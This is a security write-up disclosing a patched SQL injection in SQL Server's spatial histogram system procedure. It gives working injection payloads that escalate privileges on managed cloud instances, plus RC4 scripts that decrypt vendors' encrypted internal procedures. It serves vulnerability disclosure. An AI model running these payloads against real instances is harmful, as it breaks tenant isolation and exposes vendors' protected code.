Security in cloud environments is both challenging and fascinating, particularly for Database-as-a-Service (DBaaS) offerings like Amazon RDS, GCP CloudSQL and Alibaba ApsaraDB RDS. The cloud vendor acts as the system administrator, managing the operating system, patching, and backups, while the user manages their data and databases.
To uphold this managed experience and protect the platform’s integrity, each vendor implements strict access controls, effectively removing the customer’s ability to access high-privilege system roles like sysadmin or internal databases. The core idea is simple: limit what users can do and see to protect the underlying infrastructure and other tenants.
They say:
Google CloudSQL – “The sysadmin role is not supported. Therefore, you cannot run system stored procedures that require the sysadmin role.”
Amazon RDS – “To deliver a managed service experience, Amazon RDS does not provide shell access to DB instances, and it restricts access to certain system procedures and tables that require advanced privileges.”
Alibaba ApsaraDB RDS – “SQL Server as a Platform as a Service (PaaS) service does not provide instance-level access permissions.”
This article explores a serious flaw in this security model – a SQL Injection vulnerability in sys.sp_help_spatial_geography_histogram that allowed a standard user on managed SQL Server instances (AWS, GCP, Alibaba, Azure) to completely bypass these restrictions, gain access to privileged user data, and decrypt the source code of internal management stored procedures.
It was fixed in SQL Server 2022 CU20 (KB5063814), but this article explains how the exploit worked and the process of eliminating it.
Encrypted Modules for Each Vendor: What Are They?
Each vendor instance includes an internal database (rdsadmin on AWS, gcloud_cloudsqladmin on GCP and rdscore on Alibaba). This is a system database created and managed by the vendor to host internal stored procedures and configuration tables necessary for the managed environment (e.g., handling backups, configuration changes, and maintenance).
There are some specific modules (stored procedures, functions or triggers) created to help automate SQL Server tasks. Those modules can exist on master, msdb or in an internal database.
Following is the current list (as per today 2025-10-29) of encrypted modules for each vendor:
AWS
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
DROP TABLE IF EXISTS #tmp1 CREATE TABLE #tmp1 ([DbName] sysname, [ObjID] INT, ObjName sysname, [IsEncrypted] BIT) INSERT INTO #tmp1 EXEC rdsadmin.sys.sp_executesql N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted FROM sys.all_sql_modules WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1' INSERT INTO #tmp1 EXEC msdb.sys.sp_executesql N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted FROM sys.all_sql_modules WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1' INSERT INTO #tmp1 EXEC master.sys.sp_executesql N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted FROM sys.all_sql_modules WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1' INSERT INTO #tmp1 EXEC master.sys.sp_executesql N'SELECT db_name() AS DbName, [object_id] AS ObjId, name AS ObjName, 1 FROM sys.server_triggers' SELECT * FROM #tmp1 GO |
Result:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
DbName ObjID ObjName IsEncrypted ------------------- --------------------------------------------------- ----------- rdsadmin 1509580416 rds_max_customer_db_count 1 rdsadmin 1733581214 rds_is_db_owner 1 rdsadmin 1749581271 rds_read_error_log 1 rdsadmin 1765581328 rds_set_configuration 1 rdsadmin 1781581385 rds_show_configuration 1 rdsadmin 1797581442 rds_set_database_online 1 rdsadmin 1813581499 rds_modify_db_name 1 msdb 530816953 rds_sysmail_control 1 msdb 546817010 rds_fn_sysmail_allitems 1 msdb 562817067 rds_fn_sysmail_event_log 1 msdb 578817124 rds_fn_sysmail_mailattachments 1 msdb 594817181 rds_sysmail_delete_mailitems_sp 1 msdb 610817238 rds_fn_server_object_last_sync_time 1 msdb 626817295 rds_fn_get_system_database_sync_objects 1 msdb 642817352 rds_set_system_database_sync_objects 1 msdb 658817409 rds_manage_view_db_permission 1 msdb 674817466 rds_xpc_disable 1 msdb 690817523 rds_xpc_enable 1 msdb 706817580 rds_backup_database 1 msdb 722817637 rds_backup_tde_certificate 1 msdb 738817694 rds_cancel_task 1 msdb 754817751 rds_dms_tlog_download 1 msdb 770817808 rds_dms_tlog_list_current_lsn 1 msdb 786817865 rds_dms_tlog_read 1 msdb 802817922 rds_drop_tde_certificate 1 msdb 818817979 rds_finish_restore 1 msdb 834818036 rds_fn_list_tlog_backup_metadata 1 msdb 850818093 rds_fn_list_user_tde_certificates 1 msdb 866818150 rds_restore_database 1 msdb 882818207 rds_restore_log 1 msdb 898818264 rds_restore_tde_certificate 1 msdb 914818321 rds_task_status 1 msdb 930818378 rds_tlog_copy_setup 1 msdb 946818435 rds_tlog_backup_copy_to_S3 1 msdb 962818492 rds_fn_task_status 1 msdb 978818549 rds_shrink_tempdbfile 1 msdb 994818606 rds_drop_database 1 msdb 1010818663 rds_cdc_disable_db 1 msdb 1026818720 rds_cdc_enable_db 1 msdb 1042818777 rds_fn_get_audit_file 1 msdb 1058818834 rds_download_from_s3 1 msdb 1074818891 rds_delete_from_filesystem 1 msdb 1090818948 rds_gather_file_details 1 msdb 1106819005 rds_fn_list_file_details 1 msdb 1122819062 rds_sqlagent_proxy 1 msdb 1138819119 rds_msbi_task 1 msdb 1154819176 rds_upload_to_s3 1 msdb 1170819233 rds_msdtc_transaction_tracing 1 msdb 1186819290 rds_drop_ssrs_databases 1 msdb 1202819347 rds_drop_ssis_database 1 msdb 1218819404 rds_failover_time 1 msdb 1250819518 rds_changedbowner_to_rdsa 1 msdb 1266819575 rds_fn_internal_get_audit_file 1 msdb 1490820373 rds_agent_jobs_trigger 1 master 919674324 rds_is_db_read_replica 1 master 935674381 rds_is_db_writable 1 master 1287675635 rds_hexadecimal 1 master 1303675692 rds_help_revlogin 1 master 1367675920 rds_startup_tasks 1 master 1559676604 rds_alter_database_trigger 1 master 1575676661 rds_create_database_trigger 1 master 1591676718 rds_deny_backups_trigger 1 master 1607676775 rds_drop_database_trigger 1 master 1623676832 rds_drop_login_trigger 1 master 1655676946 rds_create_login_trigger 1 master 1671677003 rds_audit_trigger 1 master 1687677060 rds_das_trigger 1 master 1703677117 rds_credential_trigger 1 master 1719677174 rds_extended_events_trigger 1 (69 rows affected) |
GCP
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
DROP TABLE IF EXISTS #tmp1 CREATE TABLE #tmp1 ([DbName] sysname, [ObjID] INT, ObjName sysname, [IsEncrypted] BIT) INSERT INTO #tmp1 EXEC msdb.sys.sp_executesql N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted FROM sys.all_sql_modules WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1' INSERT INTO #tmp1 EXEC master.sys.sp_executesql N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted FROM sys.all_sql_modules WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1' INSERT INTO #tmp1 EXEC master.sys.sp_executesql N'SELECT db_name() AS DbName, [object_id] AS ObjId, name AS ObjName, 1 FROM sys.server_triggers' SELECT * FROM #tmp1 GO |
Result:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
DbName ObjID ObjName IsEncrypted -------- ----------- ----------------------------------------------- ----------- msdb 1270295585 gcloudsql_cdc_disable_db 1 msdb 1286295642 gcloudsql_cdc_enable_db 1 msdb 1302295699 gcloudsql_tempdb_shrinkfile 1 msdb 1318295756 fn_gcloudsql_CleanSqlCommandText 1 msdb 1334295813 gcloudsql_disable_ddl_event_tr 1 msdb 1350295870 gcloudsql_transrepl_addlogreader_agent 1 msdb 1366295927 gcloudsql_transrepl_addmonitoraccess 1 msdb 1382295984 gcloudsql_transrepl_addpublication 1 msdb 1398296041 gcloudsql_transrepl_addpublication_snapshot 1 msdb 1414296098 gcloudsql_transrepl_addpushsubscription_agent 1 msdb 1430296155 gcloudsql_transrepl_droppublication 1 msdb 1446296212 gcloudsql_transrepl_dropsubscriber 1 msdb 1462296269 gcloudsql_transrepl_remove_distribution 1 msdb 1478296326 gcloudsql_transrepl_replicationdboption 1 msdb 1494296383 gcloudsql_transrepl_setup_distribution 1 msdb 1510296440 gcloudsql_transrepl_changedistributor_property 1 msdb 1718297181 gcloudsql_drop_tde_user_certificate 1 msdb 1734297238 gcloudsql_rotate_tde_certificate 1 master 535672956 TRG_ProtectDropCustRootLogin 1 master 551673013 gcloudsql_protectRoleMembership 1 master 567673070 gcloudsql_protectRoleAlteration 1 master 583673127 TRG_EnforceXEventSessionParams3 1 master 599673184 TRG_CheckInternalXEventSessionManipulation 1 master 615673241 TRG_ProtectDropDatabaseRootLogin 1 master 631673298 gcloudsql_RoleManagement 1 master 647673355 TRG_BlockDatabaseEncryptionKeyCreation_v2 1 master 1271675578 TRG_EnforceXEventSessionParams2 1 master 1287675635 TRG_ProtectRootLogin_CloudDbSqlRoot_2 1 master 1303675692 TRG_ProtectRootLogin_CloudDbSqlAgent_2 1 (29 rows affected) |
Alibaba
|
1 2 3 4 5 6 7 8 9 10 11 |
DROP TABLE IF EXISTS #tmp1 CREATE TABLE #tmp1 ([DbName] sysname, [ObjID] INT, ObjName sysname, [IsEncrypted] BIT) INSERT INTO #tmp1 EXEC master.sys.sp_executesql N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted FROM sys.all_sql_modules WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1' SELECT * FROM #tmp1 GO |
Result:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
DbName ObjID ObjName IsEncrypted -------- ----------- ------------------------------- ----------- master 1159675179 sp_rds_cdc_disable_db 1 master 1175675236 sp_rds_cdc_enable_db 1 master 1191675293 sp_rds_change_tracking 1 master 1223675407 sp_rds_set_all_db_privileges 1 master 1239675464 sp_rds_set_db_online 1 master 1255675521 sp_rds_deny_view_any_database 1 master 1271675578 sp_rds_free_proc_cache 1 master 1287675635 sp_rds_read_error_logs 1 master 1399676034 sp_rds_copy_database 1 master 1415676091 sp_rds_update_db_stats 1 master 1559676604 sp_disable_cdc_db_ddl_event 1 master 1575676661 sp_enable_cdc_db_ddl_event 1 master 1591676718 sp_rds_modify_db_name 1 master 1607676775 sp_rds_cycle_errorlog 1 master 1623676832 sp_rds_configure 1 master 1655676946 sp_rds_dbcc_trace 1 master 1879677744 fn_rds_get_wait_category 1 (17 rows affected) |
These modules are encrypted for several crucial reasons:
- Security & IP Protection: Protecting internal implementation logic and proprietary methods.
- Prevent Abuse or Tampering: Procedures that wrap privileged operations must remain tamper-proof.
- Compliance and Platform Integrity: Maintaining strict control over internal tools in a shared managed environment.
Bypassing Standard Security Measures
As is well known, there are many tools and scripts that can decrypt a module on SQL Server. They all require running high-privilege code to read the encrypted data from the SQL Server system table sys.sysobjvalues (which stores the encrypted code as a binary value called imageval).
The most common options to read data from sys.sysobjvalues are blocked:
- Dedicated Administrator Connection (DAC): DAC is often used to read this table, but it is not available on Amazon RDS for SQL Server.
- DBCC PAGE: This command, used by tools like SQL Prompt, requires the user to be part of the sysadmin role, which is not available.
Since standard high-privilege methods are blocked, we must find an internal loophole. In this article, we’ll adapt a technique described by Paul White, a friend and my favorite MSSQL geek.
SQL Injection: A Privileged Entry Point
SQL Injection (SQLi) remains one of the most critical and widespread web application vulnerabilities, but its presence in a system stored procedure in a cloud environment presents a far more severe threat. SQLi is fundamentally an attack where untrusted input is treated as executable code.
When this occurs within a highly privileged context, such as a built-in SQL Server system procedure, the attacker inherits the elevated permissions of that procedure, regardless of their own limited database role.
In a typical Amazon RDS setup, a customer’s admin user has high rights within their own databases but is specifically restricted from accessing the core rdsadmin database or performing instance-level privileged actions.
The discovery of a SQLi vulnerability in a system procedure breaks this boundary entirely, giving the user an unprecedented level of control.
The Vulnerability: Bypassing Privilege Boundaries
The vulnerability resided in the internal MSSQL stored procedure sys.sp_help_spatial_geography_histogram. This procedure is intended for analyzing data distribution within geography data type columns, a specialized feature in SQL Server that deals with spatial data. Because spatial features are niche, this specific procedure likely escaped the rigorous security testing applied to more commonly used system components.
The key to the exploit lies in the dynamic T-SQL query execution logic at the end of the procedure. The procedure is designed to construct and execute a query string, stored in the local variable @query.
Crucially, this dynamic string is built using the user-supplied column name, @colname, which is not properly sanitized or quoted using functions like QUOTENAME().
The code for the procedure is the following:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
CREATE PROC sys.sp_help_spatial_geography_histogram ( @tabname SYSNAME, @colname SYSNAME, @resolution INT, @sample FLOAT = 100 ) AS BEGIN -- ... (Validation code) ... -- Run the query DECLARE @query nvarchar(max) = N'SELECT a.id AS CellId, geography::STGeomFromWKB(a.wkb, 4326) AS Cell, COUNT(*) AS IntersectionCount FROM ' + @quoted_tabname + N' ' + @tablesample + N' CROSS APPLY sys.GeodeticGridCoverage(' + @colname + N',' + cast(@resolution as nvarchar) + N',' + cast(@resolution as nvarchar) + N') a GROUP BY a.id, a.wkb'; exec(@query); END |
An attacker can terminate the column name context using a single quote, inject arbitrary SQL code, and then use the rest of the dynamic query string as a closing comment (–). Because the procedure runs with high internal permissions, the injected code is executed with those same elevated rights, allowing it to perform privileged operations.
The Injection Technique
To explore this, we first demonstrate simple code injection and use a global temporary table (##Tmp) to retrieve the output, as the original query will fail:
|
1 2 3 4 5 6 7 8 |
DROP TABLE IF EXISTS TemporaryTable_sp_help_spatial_geography_histogram CREATE TABLE TemporaryTable_sp_help_spatial_geography_histogram (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DROP TABLE IF EXISTS ##Tmp; SELECT @@Version AS ColVersion INTO ##Tmp;--] GEOGRAPHY) GO EXEC sys.sp_help_spatial_geography_histogram @tabname = 'TemporaryTable_sp_help_spatial_geography_histogram', @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DROP TABLE IF EXISTS ##Tmp; SELECT @@Version AS ColVersion INTO ##Tmp;--', @resolution = 10, @sample = 100; GO |
For instance, if you run this in a AWS RDS user database, it is probably going to fail with the following message:
|
1 2 |
Msg 0, Level 11, State 0, Line 103 A severe error occurred on the current command. The results, if any, should be discarded. |
But, don’t worry, although it looks like it failed, the injected code worked just fine:
|
1 2 3 |
-- Read the result from the injected code SELECT * FROM ##Tmp GO |
Result:
|
1 2 3 4 5 6 |
ColVersion ------------ Microsoft SQL Server 2022 (RTM-CU20) (KB5059390) - 16.0.4205.1 (X64) Jun 13 2025 13:38:45 Copyright (C) 2022 Microsoft Corporation Express Edition (64-bit) on Windows Server 2016 Datacenter 10.0 <X64> (Build 14393:) (Hypervisor) |
This demonstrates that the injected code was executed successfully.
Reading sys.sysobjvalues
To decrypt the stored procedure, we need the [imageval] from the database’s sys.sysobjvalues table. Since the column name length is limited (128 characters), we use a two-step injection: first, storing the injection code in another temporary table, and second, executing it:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
-- Step 1: Store the full decryption script payload DROP TABLE IF EXISTS ##MyDynamicCode CREATE TABLE ##MyDynamicCode (Col1 NVARCHAR(MAX)) INSERT INTO ##MyDynamicCode (Col1) VALUES(N' USE [rdsadmin] DROP TABLE IF EXISTS ##tmp_sysobjvalues; SELECT OBJECT_NAME(objid) AS objname, * INTO ##tmp_sysobjvalues FROM sys.sysobjvalues; ') GO -- Step 2: Inject the execution of the stored script DROP TABLE IF EXISTS TabDecrypt CREATE TABLE TabDecrypt (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--] GEOGRAPHY) GO -- Execute the injection EXEC sys.sp_help_spatial_geography_histogram @tabname = 'TabDecrypt', @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--', @resolution = 10, @sample = 100; GO -- The privileged table data is now accessible SELECT objname, objid, imageval FROM ##tmp_sysobjvalues WHERE objname = 'rds_set_database_online' GO |
Result:
|
1 2 3 |
objname objid imageval ------------------------ ----------- --------- rds_set_database_online 1797581442 0x3B608F3... |
Now, with the binary [imageval] data, we can proceed with the decryption using Paul White’s technique.
Note: Any login with permission to run sys.sp_help_spatial_geography_histogram could explore this. No special or elevated permissions are required.
Decryption in Action
The decryption process relies on the fact that SQL Server uses the RC4 algorithm with a key derived from the database’s Family GUID, the object ID, and the sub-object ID of the encrypted module.
For more info about this, check out Paul White’s (a.k.a. Mr. TraceFlag, Mr. QueryOptimizer, Mr. Internals, Mr. Windbg) article.
Step 1: Create the Temporary Table with [imageval]
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
-- Step 1: Store the full decryption script payload DROP TABLE IF EXISTS ##MyDynamicCode CREATE TABLE ##MyDynamicCode (Col1 NVARCHAR(MAX)) INSERT INTO ##MyDynamicCode (Col1) VALUES(N' USE [rdsadmin] DROP TABLE IF EXISTS ##tmp_sysobjvalues; SELECT OBJECT_NAME(objid) AS objname, * INTO ##tmp_sysobjvalues FROM sys.sysobjvalues; ') GO -- Step 2: Inject the execution of the stored script DROP TABLE IF EXISTS TabDecrypt CREATE TABLE TabDecrypt (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--] GEOGRAPHY) GO -- Execute the injection EXEC sys.sp_help_spatial_geography_histogram @tabname = 'TabDecrypt', @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--', @resolution = 10, @sample = 100; GO -- The privileged table data is now accessible SELECT objname, objid, imageval FROM ##tmp_sysobjvalues WHERE objname = 'rds_set_database_online' GO |
Step 2: RC4 Functions
First, we need the T-SQL functions to implement the RC4 algorithm. This should be executed in a database where you have permission to create objects (e.g., your primary database).
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 |
CREATE DATABASE DB1 GO USE DB1 GO /* ** RC4 functions ** Based on https://www.sqlteam.com/forums/topic.asp?TOPIC_ID=76258 ** by Peter Larsson (SwePeso) */ IF OBJECT_ID(N'dbo.fnEncDecRc4', N'FN') IS NOT NULL DROP FUNCTION dbo.fnEncDecRc4; GO IF OBJECT_ID(N'dbo.fnInitRc4', N'TF') IS NOT NULL DROP FUNCTION dbo.fnInitRc4; GO CREATE FUNCTION dbo.fnInitRc4 (@Pwd varbinary(256)) RETURNS @Box table ( i tinyint PRIMARY KEY, v tinyint NOT NULL ) WITH SCHEMABINDING AS BEGIN DECLARE @Key table ( i tinyint PRIMARY KEY, v tinyint NOT NULL ); DECLARE @Index smallint = 0, @PwdLen tinyint = DATALENGTH(@Pwd); WHILE @Index <= 255 BEGIN INSERT @Key (i, v) VALUES (@Index, CONVERT(tinyint, SUBSTRING(@Pwd, @Index % @PwdLen + 1, 1))); INSERT @Box (i, v) VALUES (@Index, @Index); SET @Index += 1; END; DECLARE @t tinyint = NULL, @b smallint = 0; SET @Index = 0; WHILE @Index <= 255 BEGIN SELECT @b = (@b + b.v + k.v) % 256 FROM @Box AS b JOIN @Key AS k ON k.i = b.i WHERE b.i = @Index; SELECT @t = b.v FROM @Box AS b WHERE b.i = @Index; UPDATE b1 SET b1.v = (SELECT b2.v FROM @Box AS b2 WHERE b2.i = @b) FROM @Box AS b1 WHERE b1.i = @Index; UPDATE @Box SET v = @t WHERE i = @b; SET @Index += 1; END; RETURN; END; GO CREATE FUNCTION dbo.fnEncDecRc4 ( @Pwd varbinary(256), @Text varbinary(MAX) ) RETURNS varbinary(MAX) WITH SCHEMABINDING, RETURNS NULL ON NULL INPUT AS BEGIN DECLARE @Box AS table ( i tinyint PRIMARY KEY, v tinyint NOT NULL ); INSERT @Box (i, v) SELECT FIR.i, FIR.v FROM dbo.fnInitRc4(@Pwd) AS FIR; DECLARE @Index integer = 1, @i smallint = 0, @j smallint = 0, @t tinyint = NULL, @k smallint = NULL, @CipherBy tinyint = NULL, @Cipher varbinary(MAX) = 0x; WHILE @Index <= DATALENGTH(@Text) BEGIN SET @i = (@i + 1) % 256; SELECT @j = (@j + b.v) % 256, @t = b.v FROM @Box AS b WHERE b.i = @i; UPDATE b SET b.v = (SELECT w.v FROM @Box AS w WHERE w.i = @j) FROM @Box AS b WHERE b.i = @i; UPDATE @Box SET v = @t WHERE i = @j; SELECT @k = b.v FROM @Box AS b WHERE b.i = @i; SELECT @k = (@k + b.v) % 256 FROM @Box AS b WHERE b.i = @j; SELECT @k = b.v FROM @Box AS b WHERE b.i = @k; SELECT @CipherBy = CONVERT(tinyint, SUBSTRING(@Text, @Index, 1)) ^ @k, @Cipher = @Cipher + CONVERT(binary(1), @CipherBy); SET @Index += 1; END; RETURN @Cipher; END; |
Step 3: Decrypt the Code
We can now compute the key and perform the decryption:
AWS – rds_set_database_online
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
USE DB1 GO DECLARE @objectid INTEGER = OBJECT_ID(N'rdsadmin.dbo.rds_set_database_online'), @family_guid BINARY(16), @objid BINARY(4), @subobjid BINARY(2), @imageval VARBINARY(MAX), @RC4key BINARY(20); -- 1. Find the rdsadmin database family GUID SELECT @family_guid = CONVERT(BINARY(16), DRS.family_guid) FROM sys.database_recovery_status AS DRS WHERE DRS.database_id = DB_ID('rdsadmin'); -- 2. Convert object ID to little-endian binary(4) SET @objid = CONVERT(BINARY(4), REVERSE(CONVERT(BINARY(4), @objectid))); -- 3. Read the encrypted value and subobjid from our temp table SELECT @imageval = SOV.imageval, -- Get the subobjid and convert to little-endian binary @subobjid = CONVERT(BINARY(2), REVERSE(CONVERT(BINARY(2), SOV.subobjid))) FROM ##tmp_sysobjvalues AS SOV WHERE SOV.[objid] = @objectid AND SOV.valclass = 1; -- 4. Compute the RC4 initialization key SET @RC4key = HASHBYTES('SHA1', @family_guid + @objid + @subobjid); -- 5. Apply the standard RC4 algorithm and convert to nvarchar SELECT CONVERT(NVARCHAR(MAX), dbo.fnEncDecRc4(@RC4key, @imageval)) AS Col; GO |
And the full source code for rds_set_database_online is revealed:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
CREATE PROCEDURE rds_set_database_online @name SYSNAME WITH ENCRYPTION, EXECUTE AS OWNER AS BEGIN DECLARE @sql NVARCHAR(MAX); DECLARE @login SYSNAME = ORIGINAL_LOGIN(); IF @@TRANCOUNT <> 0 BEGIN RAISERROR('Cannot alter a database in a transaction', 16, 0) WITH LOG; RETURN; END IF @name IN ('master', 'tempdb', 'model', 'msdb', 'rdsadmin') BEGIN RAISERROR('Cannot alter system databases or rdsadmin', 16, 0) WITH LOG; RETURN; END IF IS_SRVROLEMEMBER('sysadmin', @login) = 0 AND NOT EXISTS (SELECT * FROM sys.server_permissions server_permissions JOIN sys.server_principals server_principals ON server_permissions.grantee_principal_id = server_principals.principal_id WHERE server_permissions.type = 'CRDB' AND server_permissions.state IN ('G', 'W') AND server_principals.name = @login) BEGIN RAISERROR('Login needs CREATE ANY DATABASE permission', 16, 0) WITH LOG; RETURN; END SELECT @sql = 'ALTER DATABASE ' + QUOTENAME(@name) + ' SET ONLINE'; EXEC(@sql) AS LOGIN = 'rdsa'; END |
It is interesting to observe that AWS also uses dynamic code execution, but it’s not vulnerable to this type of injection as they are properly quoting the @name variable using QUOTENAME().
You could do the same to decrypt the code from other vendors, like:
GCP – gcloudsql_rotate_tde_certificate
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
USE DB1 GO DECLARE @objectid INTEGER = OBJECT_ID(N'msdb.dbo.gcloudsql_rotate_tde_certificate'), @family_guid BINARY(16), @objid BINARY(4), @subobjid BINARY(2), @imageval VARBINARY(MAX), @RC4key BINARY(20); -- 1. Find the rdsadmin database family GUID SELECT @family_guid = CONVERT(BINARY(16), DRS.family_guid) FROM sys.database_recovery_status AS DRS WHERE DRS.database_id = DB_ID('msdb'); -- 2. Convert object ID to little-endian binary(4) SET @objid = CONVERT(BINARY(4), REVERSE(CONVERT(BINARY(4), @objectid))); -- 3. Read the encrypted value and subobjid from our temp table SELECT @imageval = SOV.imageval, -- Get the subobjid and convert to little-endian binary @subobjid = CONVERT(BINARY(2), REVERSE(CONVERT(BINARY(2), SOV.subobjid))) FROM ##tmp_sysobjvalues AS SOV WHERE SOV.[objid] = @objectid AND SOV.valclass = 1; -- 4. Compute the RC4 initialization key SET @RC4key = HASHBYTES('SHA1', @family_guid + @objid + @subobjid); -- 5. Apply the standard RC4 algorithm and convert to nvarchar SELECT CONVERT(NVARCHAR(MAX), dbo.fnEncDecRc4(@RC4key, @imageval)) AS Col; GO |
Result:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
CREATE PROCEDURE dbo.gcloudsql_rotate_tde_certificate @name SYSNAME WITH EXECUTE AS N'CloudDbSqlRoot', ENCRYPTION AS BEGIN SET NOCOUNT ON IF (SELECT ars.role_desc FROM sys.dm_hadr_availability_replica_states ars WHERE ars.is_local = 1) IN ('SECONDARY') BEGIN -- Raise an error for read replica instance RAISERROR('This operation can not be performed on a read replica instance.', 16, 1); RETURN; END BEGIN DECLARE @updateError VARCHAR(MAX) = 'Certificate not found or failed to mark the certificate ' + 'for rotation. Please try again with a valid certificate name.'; DECLARE @rotateError VARCHAR(MAX) = 'Cannot rotate certificates that do not start with ' + '"gcloud_tde_system_".'; IF @name LIKE N'gcloud_tde_system_%' BEGIN UPDATE gcloud_cloudsqladmin.dbo.Certificates SET emergency_rotate = 1 WHERE name = @name; IF @@ROWCOUNT = 0 BEGIN RAISERROR(@updateError, 16, 1); RETURN; END PRINT 'Successfully marked certificate for rotation. Databases using the old certificate will' + ' be updated within a few minutes with the new certificate.'; END ELSE BEGIN RAISERROR (@rotateError, 16, 1); END END END; |
Alibaba – sp_rds_free_proc_cache
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
USE DB1 GO DECLARE @objectid INTEGER = OBJECT_ID(N'master.dbo.sp_rds_free_proc_cache'), @family_guid BINARY(16), @objid BINARY(4), @subobjid BINARY(2), @imageval VARBINARY(MAX), @RC4key BINARY(20); -- 1. Find the rdsadmin database family GUID SELECT @family_guid = CONVERT(BINARY(16), DRS.family_guid) FROM sys.database_recovery_status AS DRS WHERE DRS.database_id = DB_ID('master'); -- 2. Convert object ID to little-endian binary(4) SET @objid = CONVERT(BINARY(4), REVERSE(CONVERT(BINARY(4), @objectid))); -- 3. Read the encrypted value and subobjid from our temp table SELECT @imageval = SOV.imageval, -- Get the subobjid and convert to little-endian binary @subobjid = CONVERT(BINARY(2), REVERSE(CONVERT(BINARY(2), SOV.subobjid))) FROM ##tmp_sysobjvalues AS SOV WHERE SOV.[objid] = @objectid AND SOV.valclass = 1; -- 4. Compute the RC4 initialization key SET @RC4key = HASHBYTES('SHA1', @family_guid + @objid + @subobjid); -- 5. Apply the standard RC4 algorithm and convert to nvarchar SELECT CONVERT(NVARCHAR(MAX), dbo.fnEncDecRc4(@RC4key, @imageval)) AS Col; GO |
Result:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
